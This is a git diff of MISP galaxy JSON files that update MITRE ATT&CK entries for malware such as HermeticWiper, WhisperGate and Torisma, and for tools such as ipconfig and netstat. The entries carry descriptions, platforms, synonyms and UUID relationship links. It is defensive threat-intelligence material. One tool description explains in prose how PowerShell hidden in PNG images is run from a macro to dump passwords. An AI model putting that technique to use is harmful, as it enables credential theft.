- "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "df9b350b-d4f9-4e79-a826-75cc75fbc1eb", - "value": "KOCTOPUS - S0669" - }, - { - "description": "[Flagpro](https://attack.mitre.org/software/S0696) is a Windows-based, first-stage downloader that has been used by [BlackTech](https://attack.mitre.org/groups/G0098) since at least October 2020. It has primarily been used against defense, media, and communications companies in Japan.(Citation: NTT Security Flagpro new December 2021) ", - "meta": { - "external_id": "S0696", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0696", - "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech" - ], - "synonyms": [ - "Flagpro", - "Flagpro " - ] - }, - "related": [ - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "592260fb-dd5c-4a30-8d99-106a0485be0d", - "value": "Flagpro - S0696" - }, - { - "description": "[Torisma](https://attack.mitre.org/software/S0678) is a second stage implant designed for specialized monitoring that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [Torisma](https://attack.mitre.org/software/S0678) was discovered during an investigation into the 2020 Operation North Star campaign that targeted the defense sector.(Citation: McAfee Lazarus Nov 2020)", - "meta": { - "external_id": "S0678", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0678", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/" - ], - "synonyms": [ - "Torisma" - ] - }, - "related": [ - { - "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "853c4192-4311-43e1-bfbb-b11b14911852", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "0715560d-4299-4e84-9e20-6e80ab57e4f2", - "value": "Torisma - S0678" - }, - { - "description": "[Ferocious](https://attack.mitre.org/software/S0679) is a first stage implant composed of VBS and PowerShell scripts that has been used by [WIRTE](https://attack.mitre.org/groups/G0090) since at least 2021.(Citation: Kaspersky WIRTE November 2021)", - "meta": { - "external_id": "S0679", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0679", - "https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044" - ], - "synonyms": [ - "Ferocious" - ] - }, - "related": [ - { - "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "73d08401-005f-4e1f-90b9-8f45d120879f", - "value": "Ferocious - S0679" - }, - { - "description": "[HermeticWiper](https://attack.mitre.org/software/S0697) is a data wiper that has been used since at least early 2022, primarily against Ukraine with additional activity observed in Latvia and Lithuania. Some sectors targeted include government, financial, defense, aviation, and IT services.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Symantec Ukraine Wipers February 2022)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ESET Hermetic Wiper February 2022)(Citation: Qualys Hermetic Wiper March 2022)", - "meta": { - "external_id": "S0697", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0697", - "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-057a", - "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/", - "https://www.crowdstrike.com/blog/how-to-decrypt-the-partyticket-ransomware-targeting-ukraine", - "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack", - "https://www.welivesecurity.com/2022/02/24/hermeticwiper-new-data-wiping-malware-hits-ukraine" - ], - "synonyms": [ - "HermeticWiper", - "Trojan.Killdisk", - "DriveSlayer" - ] - }, - "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - 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], - "type": "uses" - }, - { - "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fb640c43-aa6b-431e-a961-a279010424ac", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "a0ab8a96-40c9-4483-8a54-3fafa6d6007a", - "value": "HermeticWiper - S0697" - }, - { - "description": "[Meteor](https://attack.mitre.org/software/S0688) is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. [Meteor](https://attack.mitre.org/software/S0688) is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called \"Indra\" since at least 2019 against private companies in Syria.(Citation: Check Point Meteor Aug 2021)", - "meta": { - "external_id": "S0688", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0688", - "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/" - ], - "synonyms": [ - "Meteor" - ] - }, - "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "5d2be8b9-d24c-4e98-83bf-2f5f79477163", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8c41090b-aa47-4331-986b-8c9a51a91103", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b24e2a20-3b3d-4bf0-823b-1ed765398fb0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "d79e7a60-5de9-448e-a074-f95d2d80f8d0", - "value": "Meteor - S0688" - }, - { - "description": "[WhisperGate](https://attack.mitre.org/software/S0689) is a multi-stage wiper designed to look like ransomware that has been used in attacks against Ukraine since at least January 2022.(Citation: Cybereason WhisperGate February 2022)(Citation: Unit 42 WhisperGate January 2022)(Citation: Microsoft WhisperGate January 2022)", - "meta": { - "external_id": "S0689", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0689", - "https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family", - "https://www.cybereason.com/blog/cybereason-vs.-whispergate-wiper", - "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/" - ], - "synonyms": [ - "WhisperGate" - ] - }, - "related": [ - { - "dest-uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1b7b1806-7746-41a1-a35d-e48dae25ddba", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2cd950a6-16c4-404a-aa01-044322395107", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - 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], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fb640c43-aa6b-431e-a961-a279010424ac", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "49fee0b0-390e-4bde-97f8-97ed46bd19b7", - "value": "WhisperGate - S0689" - }, - { - "description": "[HermeticWizard](https://attack.mitre.org/software/S0698) is a worm that has been used to spread [HermeticWiper](https://attack.mitre.org/software/S0697) in attacks against organizations in Ukraine since at least 2022.(Citation: ESET Hermetic Wizard March 2022)", - "meta": { - "external_id": "S0698", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0698", - "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine" - ], - "synonyms": [ - "HermeticWizard" - ] - }, - "related": [ - { - "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa", - "value": "HermeticWizard - S0698" } ], - "version": 26 + "version": 27 } diff --git a/clusters/mitre-tool.json b/clusters/mitre-tool.json index 92f19d39..53cbff0d 100644 --- a/clusters/mitre-tool.json +++ b/clusters/mitre-tool.json @@ -41,9 +41,17 @@ "description": "[Pass-The-Hash Toolkit](https://attack.mitre.org/software/S0122) is a toolkit that allows an adversary to \"pass\" a password hash (without knowing the original password) to log in to systems. (Citation: Mandiant APT1)", "meta": { "external_id": "S0122", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], "refs": [ "https://attack.mitre.org/software/S0122", "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "synonyms": [ + "Pass-The-Hash Toolkit" ] }, "related": [ @@ -298,9 +306,15 @@ "description": "[Invoke-PSImage](https://attack.mitre.org/software/S0231) takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)", "meta": { "external_id": "S0231", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0231", "https://github.com/peewpw/Invoke-PSImage" + ], + "synonyms": [ + "Invoke-PSImage" ] }, "related": [ @@ -319,9 +333,16 @@ "description": "[ipconfig](https://attack.mitre.org/software/S0100) is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration. (Citation: TechNet Ipconfig)", "meta": { "external_id": "S0100", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0100", "https://technet.microsoft.com/en-us/library/bb490921.aspx" + ], + "synonyms": [ + "ipconfig", + "ipconfig.exe" ] }, "related": [ @@ -686,7 +707,7 @@ "value": "gsecdump - S0008" }, { - "description": "[at](https://attack.mitre.org/software/S0110) is used to schedule tasks on a system to run at a specified date or time.(Citation: TechNet At)(Citation: Linux at)", + "description": "[at](https://attack.mitre.org/software/S0110) is used to schedule tasks on a system to run at a specified date or time. (Citation: TechNet At)", "meta": { "external_id": "S0110", "mitre_platforms": [ @@ -696,7 +717,6 @@ ], "refs": [ "https://attack.mitre.org/software/S0110", - "https://man7.org/linux/man-pages/man1/at.1p.html", "https://technet.microsoft.com/en-us/library/bb490866.aspx" ], "synonyms": [ @@ -720,9 +740,15 @@ "description": "[ifconfig](https://attack.mitre.org/software/S0101) is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system. (Citation: Wikipedia Ifconfig)", "meta": { "external_id": "S0101", + "mitre_platforms": [ + "Linux" + ], "refs": [ "https://attack.mitre.org/software/S0101", "https://en.wikipedia.org/wiki/Ifconfig" + ], + "synonyms": [ + "ifconfig" ] }, "related": [ @@ -768,9 +794,16 @@ "description": "[nbtstat](https://attack.mitre.org/software/S0102) is a utility used to troubleshoot NetBIOS name resolution. (Citation: TechNet Nbtstat)", "meta": { "external_id": "S0102", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0102", "https://technet.microsoft.com/en-us/library/cc940106.aspx" + ], + "synonyms": [ + "nbtstat", + "nbtstat.exe" ] }, "related": [ @@ -796,9 +829,18 @@ "description": "[route](https://attack.mitre.org/software/S0103) can be used to find or change information within the local system IP routing table. (Citation: TechNet Route)", "meta": { "external_id": "S0103", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], "refs": [ "https://attack.mitre.org/software/S0103", "https://technet.microsoft.com/en-us/library/bb490991.aspx" + ], + "synonyms": [ + "route", + "route.exe" ] }, "related": [ @@ -817,9 +859,18 @@ "description": "[netstat](https://attack.mitre.org/software/S0104) is an operating system utility that displays active TCP connections, listening ports, and network statistics. (Citation: TechNet Netstat)", "meta": { "external_id": "S0104", + "mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], "refs": [ "https://attack.mitre.org/software/S0104", "https://technet.microsoft.com/en-us/library/bb490947.aspx" + ], + "synonyms": [ + "netstat", + "netstat.exe" ] }, "related": [ @@ -1082,7 +1133,7 @@ "value": "BITSAdmin - S0190" }, { - "description": "[Koadic](https://attack.mitre.org/software/S0250) is a 